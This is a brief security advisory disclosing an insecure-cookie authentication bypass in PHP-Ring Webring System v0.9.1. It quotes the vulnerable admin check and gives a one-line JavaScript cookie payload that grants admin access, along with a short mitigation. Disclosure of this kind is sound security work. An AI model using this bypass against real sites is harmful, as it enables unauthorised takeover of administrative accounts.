PHP-Ring Webring System v0.9.1 Insecure Cookie Handling Vulnerability

PHP-Ring Webring System suffers from insecure cookie handling, when a admin login is successful the script creates a cookie to show the rest of the admin area the user is already logged in. The bad thing is the cookie doesn't contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin.

Mitigation:

Ensure that cookies are properly encrypted and validated before being used.

vuln code in /admin/wr_admin.php

$cookie = $_COOKIE[admin]; //check for cookie

if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login" && $_GET[op] != "logout") {
    include("../templates/wr_header.php");
    echo "Enter admin username and password to log in";
    ....

javascript:document.cookie = "admin=1; path=/";

now visit /admin and  you can get admin access and manage the cms ;)
